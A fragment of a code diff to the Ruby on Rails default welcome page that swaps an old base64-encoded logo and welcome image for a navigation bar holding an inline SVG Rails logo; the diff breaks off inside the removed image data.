-          <img width="130" height="46" alt="Ruby on Rails" border="0" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxzdmcgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiDQoJIHZpZXdCb3g9IjAgMCA0MDAgMTQwIiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCA0MDAgMTQwIiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxzdHlsZT4uYXtmaWxsOiNjMDA7fTwvc3R5bGU+DQo8dGl0bGU+cmFpbHMtbG9nbzwvdGl0bGU+DQo8Zz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTM0Ni42LDEyMS41djE4LjFjMCwwLDIzLjQsMCwzMi43LDBjNi43LDAsMTguMi00LjksMTguNi0xOC42YzAtMC42LDAtNi41LDAtN2MwLTExLjctOS42LTE4LjYtMTguNi0xOC42DQoJCWMtNC4yLDAtMTYuMywwLTE2LjMsMFY4N2wzMi4zLDBWNjguOGMwLDAtMjIuMiwwLTMxLDBjLTgsMC0xOC43LDYuNi0xOC43LDE4LjljMCwxLjIsMCw1LjIsMCw2LjNjMCwxMi4zLDEwLjYsMTguNiwxOC43LDE4LjYNCgkJYzIyLjUsMC4xLTUuNCwwLDE1LjQsMGMwLDguOCwwLDguOCwwLDguOCIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTcxLjQsMTE3LjFjMCwwLDE3LjUtMS41LDE3LjUtMjQuMXMtMjEuMi0yNC43LTIxLjItMjQuN2gtMzguMnY3MS4zaDE5LjJ2LTE3LjJsMTYuNiwxNy4yaDI4LjQNCgkJTDE3MS40LDExNy4xeiBNMTY0LDEwMi41aC0xNS4zVjg2LjJoMTUuNGMwLDAsNC4zLDEuNiw0LjMsOC4xUzE2NCwxMDIuNSwxNjQsMTAyLjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0yMzYuMyw2OC44Yy00LjksMC01LjYsMC0xOS41LDBjLTEzLjksMC0xOC42LDEyLjYtMTguNiwxOC42YzAsMTMsMCw1Mi4yLDAsNTIuMmgxOS41di0xMi41SDIzNnYxMi41aDE4LjkNCgkJYzAsMCwwLTM4LjUsMC01Mi4yQzI1NC45LDcyLjIsMjQxLjEsNjguOCwyMzYuMyw2OC44eiBNMjM2LDEwNi45aC0xOC40Vjg5LjZjMCwwLDAtMy45LDYuMS0zLjljNS42LDAsMSwwLDYuNywwDQoJCWM1LjQsMCw1LjUsMy45LDUuNSwzLjlWMTA2Ljl6Ii8+DQoJPHJlY3QgeD0iMjYzLjgiIHk9IjY4LjgiIGNsYXNzPSJhIiB3aWR0aD0iMjAuMyIgaGVpZ2h0PSI3MC44Ii8+DQoJPHBvbHlnb24gY2xhc3M9ImEiIHBvaW50cz0iMzEyLjYsMTIxLjMgMzEyLjYsNjguOCAyOTIuNCw2OC44IDI5Mi40LDEyMS4zIDI5Mi40LDEzOS42IDMxMi42LDEzOS42IDMzOS45LDEzOS42IDMzOS45LDEyMS4zIAkNCgkJIi8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05LDEzOS42aDc5YzAsMC0xNS4xLTY4LjksMzQuOS05Ni44YzEwLjktNS4zLDQ1LjYtMjUuMSwxMDIuNCwxNi45YzEuOC0xLjUsMy41LTIuNywzLjUtMi43DQoJCVMxNzYuOCw1LjEsMTE4LjksMTAuOUM4OS44LDEzLjUsNTQsNDAsMzMsNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOSwxMzkuNmg3OWMwLDAtMTUuMS02OC45LDM0LjktOTYuOGMxMC45LTUuMyw0NS42LTI1LjEsMTAyLjQsMTYuOWMxLjgtMS41LDMuNS0yLjcsMy41LTIuNw0KCQlTMTc2LjgsNS4xLDExOC45LDEwLjlDODkuOCwxMy41LDU0LDQwLDMzLDc1UzksMTM5LjYsOSwxMzkuNnoiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTksMTM5LjZoNzljMCwwLTE1LjEtNjguOSwzNC45LTk2LjhjMTAuOS01LjMsNDUuNi0yNS4xLDEwMi40LDE2LjljMS44LTEuNSwzLjUtMi43LDMuNS0yLjcNCgkJUzE3Ni44LDUuMSwxMTguOSwxMC45Qzg5LjcsMTMuNSw1My45LDQwLDMyLjksNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTczLjYsMTYuNWwwLjQtNi43Yy0wLjktMC41LTMuNC0xLjctOS43LTMuNWwtMC40LDYuNkMxNjcuMiwxNCwxNzAuNCwxNS4yLDE3My42LDE2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xNjQuMSwzNy43bC0wLjQsNi4zYzMuMywwLjEsNi42LDAuNSw5LjksMS4ybDAuNC02LjJDMTcwLjYsMzguMywxNjcuMywzNy45LDE2NC4xLDM3Ljd6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMjcuMSw2LjVjMC4zLDAsMC43LDAsMSwwbC0yLTYuMWMtMy4xLDAtNi4zLDAuMi05LjYsMC42bDEuOSw1LjlDMTIxLjMsNi42LDEyNC4yLDYuNSwxMjcuMSw2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMzEuOSw0My4zbDIuMyw2LjljMi45LTEuNCw1LjgtMi42LDguNy0zLjVsLTIuMi02LjZDMTM3LjMsNDEuMSwxMzQuNCw0Mi4yLDEzMS45LDQzLjN6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik04Ni41LDE3TDgyLDEwLjFjLTIuNSwxLjMtNS4xLDIuNy03LjgsNC4zbDQuNiw3QzgxLjQsMTkuOCw4My45LDE4LjMsODYuNSwxN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTEwNyw2Mmw0LjgsNy4yYzEuNy0yLjUsMy43LTQuOCw1LjktNy4xbC00LjUtNi44QzExMC45LDU3LjQsMTA4LjgsNTkuNywxMDcsNjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05Mi41LDk0LjJsOC4xLDYuNGMwLjQtMy45LDEuMS03LjgsMi4xLTExLjdsLTcuMi01LjdDOTQuMiw4Ni45LDkzLjMsOTAuNiw5Mi41LDk0LjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik00OC43LDQ2LjdsLTcuMS02LjJjLTIuNiwyLjUtNS4xLDUtNy40LDcuNWw3LjcsNi42QzQ0LDUxLjksNDYuMyw0OS4yLDQ4LjcsNDYuN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTE4LjUsOTEuNEw3LDg3LjJjLTEuOSw0LjMtNCw5LjMtNSwxMmwxMS41LDQuMkMxNC44LDEwMCwxNi45LDk1LjEsMTguNSw5MS40eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOTEsMTE5LjZjMC4yLDUuMywwLjcsOS42LDEuMiwxMi42bDEyLDQuM2MtMC45LTMuOS0xLjgtOC4zLTIuNC0xM0w5MSwxMTkuNnoiLz4NCjwvZz4NCjwvc3ZnPg0K" />
-        </a>
-      </p>
-
-      <h1>Yay! You&rsquo;re on Rails!</h1>
+  <nav>
+    <a href="https://rubyonrails.org" target="_blank">
+      <img alt="Ruby on Rails Logo" src="data:image/svg+xml;base64,<svg height="112" viewBox="0 0 112 112" width="112" xmlns="http://www.w3.org/2000/svg"><path d="m100.082357 48.9995403v4.1135034h-7.3003388v1.89854h3.6840717c1.9725091 0 4.0725341 1.4664311 4.1979971 3.9665124l.005913.2373977v1.5821167c-.087824 3.007959-2.5431211 4.1390018-4.0715389 4.2011773l-.1323712.0027328h-7.3907451v-4.0909018l7.4811518-.0226016v-1.9889467h-3.4806567c-1.7752583 0-4.0818321-1.3389153-4.2199942-3.9549201l-.0065176-.24899v-1.423905c0-2.6982402 2.2782129-4.182853 4.065464-4.2678491l.1610478-.003866zm-18.691579 0v11.8658752h6.1702551v4.1361051h-10.7357919v-16.0019803zm-6.4414751 0v16.0019803h-4.5881385v-16.0019803zm-15.210922 0h4.4073251l.187724.0066812c.0338609.0022735.0689457.0051499.1051601.0086643l.2300875.0290178c1.2913829.1985476 3.5463816 1.1213816 3.6751708 3.9068587l.0057677.2526881v11.7980702h-4.2717151v-2.8252084h-4.1361051v2.8252084h-4.4073251v-11.7980702c0-1.3184306 1.0040826-4.0468495 3.946899-4.197411zm-19.7398519-.0027581 8.5801857.0005749.2389234.0367462.1479459.029417.2741161.0653582.2125198.0599068.2323225.0747182c.0401793.0137704.0810402.0282201.122511.0433804l.2555691.0997376.2667618.1182852c1.3560515.6402866 3.0026855 2.0321583 3.0026855 5.016294 0 3.1830781-1.5465241 4.5014899-2.6988362 5.0420477l-.2109651.0925045-.1988828.0758655-.1839577.0608186-.1661898.0473636-.2097508.0493001-.2596493.0418363 5.0056895 5.0505836h-6.3749589l-3.7262083-3.8608906v3.8608906h-4.3098314zm22.0070603-3.0869193.4449917.4226807-.242968.1779881-.3482331.2693365-.1998573.1629204c-5.2398967-3.8745715-9.6476454-5.4221409-13.197119-5.8153537l-.5259807-.0504708c-1.0390742-.0842126-2.0007861-.0698101-2.8844302.0115462l-.4353132.0461111c-.0714668.0085662-.1423907.0175608-.2127712.0269653l-.4157595.0612005-.4026991.0701607-.3896194.0782415-.3765198.0854427c-.0616606.0147917-.1227746.0298468-.1833415.045147l-.3568339.0945957-.3436854.0995982-.3305174.1037213-.3173297.1069649-.3041225.109329-.2908956.1108137-.4115002.1670803-.5021902.2197615-.6533736.3088956-.610105.3005675c-4.6988866 2.6219788-6.8539294 6.8460711-7.7682002 10.8866463l-.1223101.5757838c-.0380504.1913833-.0734278.3821576-.1062732.5721301l-.0910804.5673196-.0767318.5613521-.0632275.5542277c-.0094594.0917134-.0183914.1830817-.0268134.2740808l-.044554.5413722-.0331601.5313556c-.0046242.0876603-.0088087.1748551-.0125713.2615602l-.0176525.5141618-.0083693.5012531.0000696.4871876.0140806.7018779.0283195.6637229.0397089.6216637.0482492.5756999.0539402.5258317.0758481.6167879.0741462.511937.0800002.4783756.0685995.3540863h-17.855317l.05849-.4417253.0463368-.2951448.0630206-.3647242.1132819-.5892069.1093787-.5150907.1820265-.7785088.1661376-.6486772.1259233-.4615943.2130474-.7338225.1589655-.5155042.1731728-.5354699.1879463-.5545226.2032857-.572662.2191913-.5898883.2356628-.6062014.2527004-.6216012c.043568-.1048328.0878694-.2102691.1329162-.3162901l.279318-.6429887.2977707-.6561056.3167894-.6683092.336374-.6795997.3565249-.689977c.3667889-.6948611.7646529-1.4039184 1.1961393-2.1230624 4.7463501-7.9105834 12.8377469-13.9000252 19.414832-14.4876686 5.0453806-.5054094 9.8925436.9276823 13.9443628 2.8796435l.6499858.3208582.6354768.3286093.6204019.335015c.1021126.0562949.2035736.1128007.304371.1694892l.5967286.3421013.580239.3451439.5631836.3468411.5455624.3471932.5273753.3461999.5086223.3438614c.0831762.0570406.1655475.1139277.247102.1706333l.479432.3378312.4592644.3321294.438531.3250825.4172317.3166902.5846736.4563569.5335674.4299071.6286237.5242179.6463432.5614015zm-30.7001056 14.5713243 2.4409801.881465c.1130083.8852319.2731034 1.7233771.4410464 2.4882761l.1013936.4499406-2.7122001-.9718717-.0338347-.2121618-.0660421-.4755843-.0611601-.5412195c-.0480285-.4774602-.0875814-1.0199003-.1101831-1.6188444zm31.5067239-7.6619652h-1.5143117c-.9400238 0-1.2391224.409772-1.3342901.670536l-.0282266.0950339c-.003237.014073-.0058266.0271526-.0078982.0390732l-.0081573.0715239-.0001295 3.9153864h4.1361051l-.0018533-3.9347694-.0102612-.0669913-.0257207-.0987241c-.0835357-.2591507-.3509135-.6910686-1.2052565-.6910686zm-50.4921242.339025 2.5991917.94927-.408641.9515839c-.2124882.4994644-.4277796 1.0148142-.6033575 1.457745l-.1180849.3028712-2.5991917-.94927.1323662-.3453033.2583889-.6392034.3057111-.7281974.3254875-.7536244c.0362438-.0827943.0723437-.1648823.1081297-.2458716zm35.4451209-.1434449h-3.4568439v3.6588673h3.4343968l.0547106-.025392.0865984-.0488983.1147536-.0786822c.2926428-.2211448.7316071-.7149797.7316071-1.6876847s-.4289878-1.4565634-.7149797-1.6710573l-.1121455-.0760741-.0846303-.0469301zm-15.4426456-.7606218 1.6273201 1.2882951c-.1808134.705172-.3182315 1.410344-.4122545 2.115516l-.0623806.528879-1.830735-1.4465067c.1808134-.81366.3842284-1.6499217.67805-2.4861834zm4.0004951-6.3058651 1.017075 1.5369134c-.3977893.4158707-.7666485.8317413-1.0950055 1.2707561l-.2384928.3339623-1.0848801-1.6273201c.40683-.5198383.8814651-1.0396767 1.4013034-1.5143117zm-16.1827936-3.3450467 1.6047183 1.4013034c-.40683.4237812-.8009465.8729894-1.1728146 1.3285542l-.3640987.4569775-1.7403284-1.4917101c.5198383-.5650416 1.08488-1.1300833 1.6725234-1.695125zm22.3982521-.0904067.4972366 1.4917101c-.5243586.162732-1.0487173.3688592-1.573076.6068095l-.393269.1842488-.5198384-1.559515c.5650417-.2486184 1.2204901-.4972367 1.9889468-.7232534zm5.28879-.54244c.5786027.0361627 1.1716705.1012555 1.7792033.2068505l.4583618.0869712-.0904067 1.4013034c-.596684-.1265694-1.193368-.2097435-1.790052-.2495224l-.447513-.0216976zm-18.5559686-6.2380601 1.017075 1.559515c-.4407325.2203663-.8687516.4661594-1.3031274.7278443l-.437201.2666291-1.0396767-1.5821167c.610245-.3616267 1.1978884-.67805 1.7629301-.9718717zm18.5107653.6328467.0904067-1.49171.4435073.1305564.3839803.1203252.3285458.1099079.2772037.0993048.3284915.128669.296488.1327112.1341451.0695838-.0904067 1.5143117c-.4821689-.1958811-.9643378-.381717-1.4532035-.5575078zm-8.5434301-2.8252084.4520333 1.3787017h-.2260167c-.4915862 0-.9831725.0127134-1.4747588.0476754l-.4915862.0427313-.4294317-1.3334984c.745855-.0904067 1.4691084-.13561 2.1697601-.13561z" fill="#fff"/></svg>" />
+    </a>
+  </nav>
 
-      <img alt="Welcome" width="600" height="350" src="data:image/jpg;base64,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